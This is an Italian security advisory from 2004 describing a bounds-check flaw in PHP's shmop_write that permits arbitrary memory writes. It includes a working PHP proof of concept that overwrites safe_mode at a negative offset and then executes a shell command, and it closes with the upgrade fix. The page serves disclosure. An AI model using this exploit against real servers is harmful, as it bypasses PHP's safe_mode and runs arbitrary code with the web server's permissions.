The WIse SECurity
| .italian .english |
Servizi alle Aziende
|
Vulnerabilità PHP Bypass del Safe_mode sfruttando shmop - Proof of Concept
Titolo:Bypass del Safe_mode sfruttando shmopAutore:Stefano Di PaolaDate:December, 19 2004Vulnerabili:Modulo shmop dal pacchetto PHP <= 5.0.2Tipo di Vulnerabilità:Validazione dell'input - Scrittura in locazioni arbitrarie di memoriaRisorse:Pubblicato su BugtraqSommarioIl modulo shmop, che viene rilasciato con la distribuzione standard di PHP,ha una vulnerabilità nella funzione 'shmop_write' durante il controllo dei limiti della variabile 'offset'. Tale vulnerabilità può permettere di bypassare il safe_mode o di eseguire codice arbitrario con i permessi dell'utente sotto il quale apache (o php) gira. DescrizioneLa funzione PHP_FUNCTION(shmop_write) nel modulo shmop.cnon verifica se la variabile 'offset' è negativa, risultando così possibile sovrascrivere locazioni arbitrarie di memoria: memcpy(shmop->addr + offset, data, writesize);Tutto ciò può essere utilizzato per disabilitare il safe_mode. Segue il codice da utilizzare per verificare questa vulnerabilità. Probabilmente, per funzionare, ci sarà bisogno di un po' di debugging con gdb, bisogna infatti trovare l'indirizzo in memoria di core_globals.safe_mode e un po' di calcoli per trovare la giusta distanza da assegnare alla variabile php '$offset' Naturalmente shmop.so dovrà essere caricata in PHP come modulo o embedded nel binario del php. <? /* Php Safe_mode Bypass Proof of concept. Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it Disclaimer: The author is not responsible of any damage this script can cause */ $shm_id = shmop_open(0xff2, "c", 0644, 100); if (!$shm_id) { echo "Couldn't create shared memory segment\n"; die; } // $data="\x01"; // the new value for safe_mode $data="\x00"; // this (-3842685) is my offset to reach core_globals.safe_mode // taken with gdb. (0x40688d83) $offset=-3842685; // Lets write the new value at our offset. $shm_bytes_written = shmop_write($shm_id, $data, $offset ); if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of data\n"; } //Now lets delete the block and close the shared memory segment if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; } shmop_close($shm_id); // Let's try if safe mode has been set to off echo passthru("id"); dl("shmop.so"); ?> Soluzione:Aggiornare a php to 5.0.3 or 4.3.10 o disabilitare il modulo shmop.Firenze, Domenica 19 Dicembre 2004
Wisec - Un'Idea sviluppata e mantenuta da...Wisec è scritto e mantenuto da Stefano Di Paola. Wisec usa standard aperti, inclusi XHTML, PHP e CSS2. |
Tutti i Diritti Riservati 2004
Tutti i messaggi e i metadati appartengono ai rispettivi autori.